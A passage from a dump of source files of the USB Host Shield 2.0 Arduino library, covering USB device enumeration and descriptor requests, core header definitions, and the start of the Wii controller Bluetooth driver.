retries++;\n                goto again;\n        }\n        if(rcode) {\n                // Issue a bus reset, because the device may be in a limbo state\n                if(parent == 0) {\n                        // Send a bus reset on the root interface.\n                        regWr(rHCTL, bmBUSRST); //issue bus reset\n                        delay(102); // delay 102ms, compensate for clock inaccuracy.\n                } else {\n                        // reset parent port\n                        devConfig[parent]->ResetHubPort(port);\n                }\n        }\n        return rcode;\n}\n\n/*\n * This is broken. We need to enumerate differently.\n * It causes major problems with several devices if detected in an unexpected order.\n *\n *\n * Oleg - I wouldn't do anything before the newly connected device is considered sane.\n * i.e.(delays are not indicated for brevity):\n * 1. reset\n * 2. GetDevDescr();\n * 3a. If ACK, continue with allocating address, addressing, etc.\n * 3b. Else reset again, count resets, stop at some number (5?).\n * 4. When max.number of resets is reached, toggle power/fail\n * If desired, this could be modified by performing two resets with GetDevDescr() in the middle - however, from my experience, if a device answers to GDD()\n * it doesn't need to be reset again\n * New steps proposal:\n * 1: get address pool instance. exit on fail\n * 2: pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf). exit on fail.\n * 3: bus reset, 100ms delay\n * 4: set address\n * 5: pUsb->setEpInfoEntry(bAddress, 1, epInfo), exit on fail\n * 6: while (configurations) {\n *              for(each configuration) {\n *                      for (each driver) {\n *                              6a: Ask device if it likes configuration. Returns 0 on OK.\n *                                      If successful, the driver configured device.\n *                                      The driver now owns the endpoints, and takes over managing them.\n *                                      The following will need codes:\n *                                          Everything went well, instance consumed, exit with success.\n *                                          Instance already in use, ignore it, try next driver.\n *                                          Not a supported device, ignore it, try next driver.\n *                                          Not a supported configuration for this device, ignore it, try next driver.\n *                                          Could not configure device, fatal, exit with fail.\n *                      }\n *              }\n *    }\n * 7: for(each driver) {\n *      7a: Ask device if it knows this VID/PID. Acts exactly like 6a, but using VID/PID\n * 8: if we get here, no driver likes the device plugged in, so exit failure.\n *\n */\nuint8_t USB::Configuring(uint8_t parent, uint8_t port, bool lowspeed) {\n        //uint8_t bAddress = 0;\n        //printf(\"Configuring: parent = %i, port = %i\\r\\n\", parent, port);\n        uint8_t devConfigIndex;\n        uint8_t rcode = 0;\n        uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)];\n        USB_DEVICE_DESCRIPTOR *udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR *>(buf);\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        EpInfo epInfo;\n\n        epInfo.epAddr = 0;\n        epInfo.maxPktSize = 8;\n        epInfo.bmSndToggle = 0;\n        epInfo.bmRcvToggle = 0;\n        epInfo.bmNakPower = USB_NAK_MAX_POWER;\n\n        //delay(2000);\n        AddressPool &addrPool = GetAddressPool();\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n        if(!p) {\n                //printf(\"Configuring error: USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL\\r\\n\");\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to\n        // avoid toggle inconsistence\n\n        p->epinfo = &epInfo;\n\n        p->lowspeed = lowspeed;\n        // Get device descriptor\n        rcode = getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf);\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(rcode) {\n                //printf(\"Configuring error: Can't get USB_DEVICE_DESCRIPTOR\\r\\n\");\n                return rcode;\n        }\n\n        // to-do?\n        // Allocate new address according to device class\n        //bAddress = addrPool.AllocAddress(parent, false, port);\n\n        uint16_t vid = udd->idVendor;\n        uint16_t pid = udd->idProduct;\n        uint8_t klass = udd->bDeviceClass;\n        uint8_t subklass = udd->bDeviceSubClass;\n        // Attempt to configure if VID/PID or device class matches with a driver\n        // Qualify with subclass too.\n        //\n        // VID/PID & class tests default to false for drivers not yet ported\n        // subclass defaults to true, so you don't have to define it if you don't have to.\n        //\n        for(devConfigIndex = 0; devConfigIndex < USB_NUMDEVICES; devConfigIndex++) {\n                if(!devConfig[devConfigIndex]) continue; // no driver\n                if(devConfig[devConfigIndex]->GetAddress()) continue; // consumed\n                if(devConfig[devConfigIndex]->DEVSUBCLASSOK(subklass) && (devConfig[devConfigIndex]->VIDPIDOK(vid, pid) || devConfig[devConfigIndex]->DEVCLASSOK(klass))) {\n                        rcode = AttemptConfig(devConfigIndex, parent, port, lowspeed);\n                        if(rcode != USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED)\n                                break;\n                }\n        }\n\n        if(devConfigIndex < USB_NUMDEVICES) {\n                return rcode;\n        }\n\n\n        // blindly attempt to configure\n        for(devConfigIndex = 0; devConfigIndex < USB_NUMDEVICES; devConfigIndex++) {\n                if(!devConfig[devConfigIndex]) continue;\n                if(devConfig[devConfigIndex]->GetAddress()) continue; // consumed\n                if(devConfig[devConfigIndex]->DEVSUBCLASSOK(subklass) && (devConfig[devConfigIndex]->VIDPIDOK(vid, pid) || devConfig[devConfigIndex]->DEVCLASSOK(klass))) continue; // If this is true it means it must have returned USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED above\n                rcode = AttemptConfig(devConfigIndex, parent, port, lowspeed);\n\n                //printf(\"ERROR ENUMERATING %2.2x\\r\\n\", rcode);\n                if(!(rcode == USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED || rcode == USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE)) {\n                        // in case of an error dev_index should be reset to 0\n                        //                in order to start from the very beginning the\n                        //                next time the program gets here\n                        //if (rcode != USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE)\n                        //        devConfigIndex = 0;\n                        return rcode;\n                }\n        }\n        // if we get here that means that the device class is not supported by any of registered classes\n        rcode = DefaultAddressing(parent, port, lowspeed);\n\n        return rcode;\n}\n\nuint8_t USB::ReleaseDevice(uint8_t addr) {\n        if(!addr)\n                return 0;\n\n        for(uint8_t i = 0; i < USB_NUMDEVICES; i++) {\n                if(!devConfig[i]) continue;\n                if(devConfig[i]->GetAddress() == addr)\n                        return devConfig[i]->Release();\n        }\n        return 0;\n}\n\n#if 1 //!defined(USB_METHODS_INLINE)\n//get device descriptor\n\nuint8_t USB::getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr) {\n        return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, USB_DESCRIPTOR_DEVICE, 0x0000, nbytes, nbytes, dataptr, NULL));\n}\n//get configuration descriptor\n\nuint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr) {\n        return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, nbytes, nbytes, dataptr, NULL));\n}\n\n/* Requests Configuration Descriptor. Sends two Get Conf Descr requests. The first one gets the total length of all descriptors, then the second one requests this\n total length. The length of the first request can be shorter ( 4 bytes ), however, there are devices which won't work unless this length is set to 9 */\nuint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint8_t conf, USBReadParser *p) {\n        const uint8_t bufSize = 64;\n        uint8_t buf[bufSize];\n        USB_CONFIGURATION_DESCRIPTOR *ucd = reinterpret_cast<USB_CONFIGURATION_DESCRIPTOR *>(buf);\n\n        uint8_t ret = getConfDescr(addr, ep, 9, conf, buf);\n\n        if(ret)\n                return ret;\n\n        uint16_t total = ucd->wTotalLength;\n\n        //USBTRACE2(\"\\r\\ntotal conf.size:\", total);\n\n        return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, total, bufSize, buf, p));\n}\n\n//get string descriptor\n\nuint8_t USB::getStrDescr(uint8_t addr, uint8_t ep, uint16_t ns, uint8_t index, uint16_t langid, uint8_t* dataptr) {\n        return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, index, USB_DESCRIPTOR_STRING, langid, ns, ns, dataptr, NULL));\n}\n//set address\n\nuint8_t USB::setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr) {\n        uint8_t rcode = ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL);\n        //delay(2); //per USB 2.0 sect.9.2.6.3\n        delay(300); // Older spec says you should wait at least 200ms\n        return rcode;\n        //return ( ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL));\n}\n//set configuration\n\nuint8_t USB::setConf(uint8_t addr, uint8_t ep, uint8_t conf_value) {\n        return ( ctrlReq(addr, ep, bmREQ_SET, USB_REQUEST_SET_CONFIGURATION, conf_value, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL));\n}\n\n#endif // defined(USB_METHODS_INLINE)\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Usb.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n/* USB functions */\n#ifndef _usb_h_\n#define _usb_h_\n\n// WARNING: Do not change the order of includes, or stuff will break!\n#include <inttypes.h>\n#include <stddef.h>\n#include <stdio.h>\n\n// None of these should ever be included by a driver, or a user's sketch.\n#include \"settings.h\"\n#include \"printhex.h\"\n#include \"message.h\"\n#include \"hexdump.h\"\n#include \"sink_parser.h\"\n#include \"max3421e.h\"\n#include \"address.h\"\n#include \"avrpins.h\"\n#include \"usb_ch9.h\"\n#include \"usbhost.h\"\n#include \"UsbCore.h\"\n#include \"parsetools.h\"\n#include \"confdescparser.h\"\n\n#endif //_usb_h_\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/UsbCore.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(_usb_h_) || defined(USBCORE_H)\n#error \"Never include UsbCore.h directly; include Usb.h instead\"\n#else\n#define USBCORE_H\n\n// Not used anymore? If anyone uses this, please let us know so that this may be\n// moved to the proper place, settings.h.\n//#define USB_METHODS_INLINE\n\n/* shield pins. First parameter - SS pin, second parameter - INT pin */\n#ifdef BOARD_BLACK_WIDDOW\ntypedef MAX3421e<P6, P3> MAX3421E; // Black Widow\n#elif defined(CORE_TEENSY) && (defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__))\n#if EXT_RAM\ntypedef MAX3421e<P20, P7> MAX3421E; // Teensy++ 2.0 with XMEM2\n#else\ntypedef MAX3421e<P9, P8> MAX3421E; // Teensy++ 1.0 and 2.0\n#endif\n#elif defined(BOARD_MEGA_ADK)\ntypedef MAX3421e<P53, P54> MAX3421E; // Arduino Mega ADK\n#elif defined(ARDUINO_AVR_BALANDUINO)\ntypedef MAX3421e<P20, P19> MAX3421E; // Balanduino\n#elif defined(__ARDUINO_X86__) && PLATFORM_ID == 0x06\ntypedef MAX3421e<P3, P2> MAX3421E; // The Intel Galileo supports much faster read and write speed at pin 2 and 3\n#elif defined(ESP8266)\ntypedef MAX3421e<P15, P5> MAX3421E; // ESP8266 boards\n#elif defined(ESP32)\ntypedef MAX3421e<P5, P17> MAX3421E; // ESP32 boards\n#else\ntypedef MAX3421e<P10, P9> MAX3421E; // Official Arduinos (UNO, Duemilanove, Mega, 2560, Leonardo, Due etc.), Intel Edison, Intel Galileo 2 or Teensy 2.0 and 3.x\n#endif\n\n/* Common setup data constant combinations  */\n#define bmREQ_GET_DESCR     USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_DEVICE     //get descriptor request type\n#define bmREQ_SET           USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_DEVICE     //set request type for all but 'set feature' and 'set interface'\n#define bmREQ_CL_GET_INTF   USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE     //get interface request type\n\n// D7           data transfer direction (0 - host-to-device, 1 - device-to-host)\n// D6-5         Type (0- standard, 1 - class, 2 - vendor, 3 - reserved)\n// D4-0         Recipient (0 - device, 1 - interface, 2 - endpoint, 3 - other, 4..31 - reserved)\n\n// USB Device Classes\n#define USB_CLASS_USE_CLASS_INFO        0x00    // Use Class Info in the Interface Descriptors\n#define USB_CLASS_AUDIO                 0x01    // Audio\n#define USB_CLASS_COM_AND_CDC_CTRL      0x02    // Communications and CDC Control\n#define USB_CLASS_HID                   0x03    // HID\n#define USB_CLASS_PHYSICAL              0x05    // Physical\n#define USB_CLASS_IMAGE                 0x06    // Image\n#define USB_CLASS_PRINTER               0x07    // Printer\n#define USB_CLASS_MASS_STORAGE          0x08    // Mass Storage\n#define USB_CLASS_HUB                   0x09    // Hub\n#define USB_CLASS_CDC_DATA              0x0a    // CDC-Data\n#define USB_CLASS_SMART_CARD            0x0b    // Smart-Card\n#define USB_CLASS_CONTENT_SECURITY      0x0d    // Content Security\n#define USB_CLASS_VIDEO                 0x0e    // Video\n#define USB_CLASS_PERSONAL_HEALTH       0x0f    // Personal Healthcare\n#define USB_CLASS_DIAGNOSTIC_DEVICE     0xdc    // Diagnostic Device\n#define USB_CLASS_WIRELESS_CTRL         0xe0    // Wireless Controller\n#define USB_CLASS_MISC                  0xef    // Miscellaneous\n#define USB_CLASS_APP_SPECIFIC          0xfe    // Application Specific\n#define USB_CLASS_VENDOR_SPECIFIC       0xff    // Vendor Specific\n\n// Additional Error Codes\n#define USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED       0xD1\n#define USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE     0xD2\n#define USB_ERROR_UNABLE_TO_REGISTER_DEVICE_CLASS       0xD3\n#define USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL          0xD4\n#define USB_ERROR_HUB_ADDRESS_OVERFLOW                  0xD5\n#define USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL             0xD6\n#define USB_ERROR_EPINFO_IS_NULL                        0xD7\n#define USB_ERROR_INVALID_ARGUMENT                      0xD8\n#define USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE         0xD9\n#define USB_ERROR_INVALID_MAX_PKT_SIZE                  0xDA\n#define USB_ERROR_EP_NOT_FOUND_IN_TBL                   0xDB\n#define USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET      0xE0\n#define USB_ERROR_FailGetDevDescr                       0xE1\n#define USB_ERROR_FailSetDevTblEntry                    0xE2\n#define USB_ERROR_FailGetConfDescr                      0xE3\n#define USB_ERROR_TRANSFER_TIMEOUT                      0xFF\n\n#define USB_XFER_TIMEOUT        5000    // (5000) USB transfer timeout in milliseconds, per section 9.2.6.1 of USB 2.0 spec\n//#define USB_NAK_LIMIT         32000   // NAK limit for a transfer. 0 means NAKs are not counted\n#define USB_RETRY_LIMIT         3       // 3 retry limit for a transfer\n#define USB_SETTLE_DELAY        200     // settle delay in milliseconds\n\n#define USB_NUMDEVICES          16      //number of USB devices\n//#define HUB_MAX_HUBS          7       // maximum number of hubs that can be attached to the host controller\n#define HUB_PORT_RESET_DELAY    20      // hub port reset delay 10 ms recomended, can be up to 20 ms\n\n/* USB state machine states */\n#define USB_STATE_MASK                                      0xf0\n\n#define USB_STATE_DETACHED                                  0x10\n#define USB_DETACHED_SUBSTATE_INITIALIZE                    0x11\n#define USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE               0x12\n#define USB_DETACHED_SUBSTATE_ILLEGAL                       0x13\n#define USB_ATTACHED_SUBSTATE_SETTLE                        0x20\n#define USB_ATTACHED_SUBSTATE_RESET_DEVICE                  0x30\n#define USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE           0x40\n#define USB_ATTACHED_SUBSTATE_WAIT_SOF                      0x50\n#define USB_ATTACHED_SUBSTATE_WAIT_RESET                    0x51\n#define USB_ATTACHED_SUBSTATE_GET_DEVICE_DESCRIPTOR_SIZE    0x60\n#define USB_STATE_ADDRESSING                                0x70\n#define USB_STATE_CONFIGURING                               0x80\n#define USB_STATE_RUNNING                                   0x90\n#define USB_STATE_ERROR                                     0xa0\n\nclass USBDeviceConfig {\npublic:\n\n        virtual uint8_t Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed __attribute__((unused))) {\n                return 0;\n        }\n\n        virtual uint8_t ConfigureDevice(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed __attribute__((unused))) {\n                return 0;\n        }\n\n        virtual uint8_t Release() {\n                return 0;\n        }\n\n        virtual uint8_t Poll() {\n                return 0;\n        }\n\n        virtual uint8_t GetAddress() {\n                return 0;\n        }\n\n        virtual void ResetHubPort(uint8_t port __attribute__((unused))) {\n                return;\n        } // Note used for hubs only!\n\n        virtual bool VIDPIDOK(uint16_t vid __attribute__((unused)), uint16_t pid __attribute__((unused))) {\n                return false;\n        }\n\n        virtual bool DEVCLASSOK(uint8_t klass __attribute__((unused))) {\n                return false;\n        }\n\n        virtual bool DEVSUBCLASSOK(uint8_t subklass __attribute__((unused))) {\n                return true;\n        }\n\n};\n\n/* USB Setup Packet Structure   */\ntypedef struct {\n\n        union { // offset   description\n                uint8_t bmRequestType; //   0      Bit-map of request type\n\n                struct {\n                        uint8_t recipient : 5; //          Recipient of the request\n                        uint8_t type : 2; //          Type of request\n                        uint8_t direction : 1; //          Direction of data X-fer\n                } __attribute__((packed));\n        } ReqType_u;\n        uint8_t bRequest; //   1      Request\n\n        union {\n                uint16_t wValue; //   2      Depends on bRequest\n\n                struct {\n                        uint8_t wValueLo;\n                        uint8_t wValueHi;\n                } __attribute__((packed));\n        } wVal_u;\n        uint16_t wIndex; //   4      Depends on bRequest\n        uint16_t wLength; //   6      Depends on bRequest\n} __attribute__((packed)) SETUP_PKT, *PSETUP_PKT;\n\n\n\n// Base class for incoming data parser\n\nclass USBReadParser {\npublic:\n        virtual void Parse(const uint16_t len, const uint8_t *pbuf, const uint16_t &offset) = 0;\n};\n\nclass USB : public MAX3421E {\n        AddressPoolImpl<USB_NUMDEVICES> addrPool;\n        USBDeviceConfig* devConfig[USB_NUMDEVICES];\n        uint8_t bmHubPre;\n\npublic:\n        USB(void);\n\n        void SetHubPreMask() {\n                bmHubPre |= bmHUBPRE;\n        };\n\n        void ResetHubPreMask() {\n                bmHubPre &= (~bmHUBPRE);\n        };\n\n        AddressPool& GetAddressPool() {\n                return (AddressPool&)addrPool;\n        };\n\n        uint8_t RegisterDeviceClass(USBDeviceConfig *pdev) {\n                for(uint8_t i = 0; i < USB_NUMDEVICES; i++) {\n                        if(!devConfig[i]) {\n                                devConfig[i] = pdev;\n                                return 0;\n                        }\n                }\n                return USB_ERROR_UNABLE_TO_REGISTER_DEVICE_CLASS;\n        };\n\n        void ForEachUsbDevice(UsbDeviceHandleFunc pfunc) {\n                addrPool.ForEachUsbDevice(pfunc);\n        };\n        uint8_t getUsbTaskState(void);\n        void setUsbTaskState(uint8_t state);\n\n        EpInfo* getEpInfoEntry(uint8_t addr, uint8_t ep);\n        uint8_t setEpInfoEntry(uint8_t addr, uint8_t epcount, EpInfo* eprecord_ptr);\n\n        /* Control requests */\n        uint8_t getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr);\n        uint8_t getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr);\n\n        uint8_t getConfDescr(uint8_t addr, uint8_t ep, uint8_t conf, USBReadParser *p);\n\n        uint8_t getStrDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t index, uint16_t langid, uint8_t* dataptr);\n        uint8_t setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr);\n        uint8_t setConf(uint8_t addr, uint8_t ep, uint8_t conf_value);\n        /**/\n        uint8_t ctrlData(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr, bool direction);\n        uint8_t ctrlStatus(uint8_t ep, bool direction, uint16_t nak_limit);\n        uint8_t inTransfer(uint8_t addr, uint8_t ep, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval = 0);\n        uint8_t outTransfer(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* data);\n        uint8_t dispatchPkt(uint8_t token, uint8_t ep, uint16_t nak_limit);\n\n        void Task(void);\n\n        uint8_t DefaultAddressing(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Configuring(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t ReleaseDevice(uint8_t addr);\n\n        uint8_t ctrlReq(uint8_t addr, uint8_t ep, uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi,\n                uint16_t wInd, uint16_t total, uint16_t nbytes, uint8_t* dataptr, USBReadParser *p);\n\nprivate:\n        void init();\n        uint8_t SetAddress(uint8_t addr, uint8_t ep, EpInfo **ppep, uint16_t *nak_limit);\n        uint8_t OutTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t nbytes, uint8_t *data);\n        uint8_t InTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t *nbytesptr, uint8_t *data, uint8_t bInterval = 0);\n        uint8_t AttemptConfig(uint8_t driver, uint8_t parent, uint8_t port, bool lowspeed);\n};\n\n#if 0 //defined(USB_METHODS_INLINE)\n//get device descriptor\n\ninline uint8_t USB::getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr) {\n        return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, USB_DESCRIPTOR_DEVICE, 0x0000, nbytes, dataptr));\n}\n//get configuration descriptor\n\ninline uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr) {\n        return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, nbytes, dataptr));\n}\n//get string descriptor\n\ninline uint8_t USB::getStrDescr(uint8_t addr, uint8_t ep, uint16_t nuint8_ts, uint8_t index, uint16_t langid, uint8_t* dataptr) {\n        return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, index, USB_DESCRIPTOR_STRING, langid, nuint8_ts, dataptr));\n}\n//set address\n\ninline uint8_t USB::setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr) {\n        return ( ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, NULL));\n}\n//set configuration\n\ninline uint8_t USB::setConf(uint8_t addr, uint8_t ep, uint8_t conf_value) {\n        return ( ctrlReq(addr, ep, bmREQ_SET, USB_REQUEST_SET_CONFIGURATION, conf_value, 0x00, 0x0000, 0x0000, NULL));\n}\n\n#endif // defined(USB_METHODS_INLINE)\n\n#endif /* USBCORE_H */\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Wii.cpp",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n\n IR camera support added by Allan Glover (adglover9.81@gmail.com) and Kristian Lauszus\n */\n\n#include \"Wii.h\"\n// To enable serial debugging see \"settings.h\"\n//#define EXTRADEBUG // Uncomment to get even more debugging data\n//#define PRINTREPORT // Uncomment to print the report send by the Wii controllers\n\nconst uint8_t WII_LEDS[] PROGMEM = {\n        0x00, // OFF\n        0x10, // LED1\n        0x20, // LED2\n        0x40, // LED3\n        0x80, // LED4\n\n        0x90, // LED5\n        0xA0, // LED6\n        0xC0, // LED7\n        0xD0, // LED8\n        0xE0, // LED9\n        0xF0, // LED10\n};\n\nconst uint32_t WII_BUTTONS[] PROGMEM = {\n        0x00008, // UP\n        0x00002, // RIGHT\n        0x00004, // DOWN\n        0x00001, // LEFT\n\n        0, // Skip\n        0x00010, // PLUS\n        0x00100, // TWO\n        0x00200, // ONE\n\n        0x01000, // MINUS\n        0x08000, // HOME\n        0x10000, // Z\n        0x20000, // C\n\n        0x00400, // B\n        0x00800, // A\n};\nconst uint32_t WII_PROCONTROLLER_BUTTONS[] PROGMEM = {\n        0x00100, // UP\n        0x00080, // RIGHT\n        0x00040, // DOWN\n        0x00200, // LEFT\n\n        0, // Skip\n        0x00004, // PLUS\n        0x20000, // L3\n        0x10000, // R3\n\n        0x00010, // MINUS\n        0x00008, // HOME\n        0, 0, // Skip\n\n        0x04000, // B\n        0x01000, // A\n        0x00800, // X\n        0x02000, // Y\n\n        0x00020, // L\n        0x00002, // R\n        0x08000, // ZL\n        0x00400, // ZR\n};\n\nWII::WII(BTD *p, bool pair) :\nBluetoothService(p) // Pointer to USB class instance - mandatory\n{\n        pBtd->pairWithWii = pair;\n\n        HIDBuffer[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n\n        /* Set device cid for the control and intterrupt channelse - LSB */\n        control_dcid[0] = 0x60; // 0x0060\n        control_dcid[1] = 0x00;\n        interrupt_dcid[0] = 0x61; // 0x0061\n        interrupt_dcid[1] = 0x00;\n\n        Reset();\n}\n\nvoid WII::Reset() {\n        wiimoteConnected = false;\n        nunchuckConnected = false;\n        motionPlusConnected = false;\n        activateNunchuck = false;\n        motionValuesReset = false;\n        activeConnection = false;\n        motionPlusInside = false;\n        pBtd->wiiUProController = false;\n        wiiUProControllerConnected = false;\n        wiiBalanceBoardConnected = false;\n        l2cap_event_flag = 0; // Reset flags\n        l2cap_state = L2CAP_WAIT;\n}\n\nvoid WII::disconnect() { // Use this void to disconnect any of the controllers\n        if(!motionPlusInside) { // The old Wiimote needs a delay after the first command or it will automatically reconnect\n                if(motionPlusConnected) {\n#ifdef DEBUG_USB_HOST\n                        Notify(PSTR(\"\\r\\nDeactivating Motion Plus\"), 0x80);\n#endif\n                        initExtension1(); // This will disable the Motion Plus extension\n                }\n                timer = (uint32_t)millis() + 1000; // We have to wait for the message before the rest of the channels can be deactivated\n        } else\n                timer = (uint32_t)millis(); // Don't wait\n        // First the HID interrupt channel has to be disconnected, then the HID control channel and finally the HCI connection\n        pBtd->l2cap_disconnection_request(hci_handle, ++identifier, interrupt_scid, interrupt_dcid);\n        Reset();\n        l2cap_state = L2CAP_INTERRUPT_DISCONNECT;\n}\n\nvoid WII::ACLData(uint8_t* l2capinbuf) {\n        if(!pBtd->l2capConnectionClaimed && pBtd->incomingWii && !wiimoteConnected && !activeConnection) {\n                if(l2capinbuf[8] == L2CAP_CMD_CONNECTION_REQUEST) {\n                        if((l2capinbuf[12] | (l2capinbuf[13] << 8)) == HID_CTRL_PSM) {\n                                motionPlusInside = pBtd->motionPlusInside;\n                                pBtd->incomingWii = false;\n                                pBtd->l2capConnectionClaimed = true; // Claim that the incoming connection belongs to this service\n                                activeConnection = true;\n                                hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection\n                                l2cap_state = L2CAP_WAIT;\n                        }\n                }\n        }\n\n        if(checkHciHandle(l2capinbuf, hci_handle)) { // acl_handle_ok\n                if((l2capinbuf[6] | (l2capinbuf[7] << 8)) == 0x0001U) { // l2cap_control - Channel ID for ACL-U\n                        if(l2capinbuf[8] == L2CAP_CMD_COMMAND_REJECT) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nL2CAP Command Rejected - Reason: \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[13], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[12], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                D_PrintHex<uint8_t > (l2capinbuf[17], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                                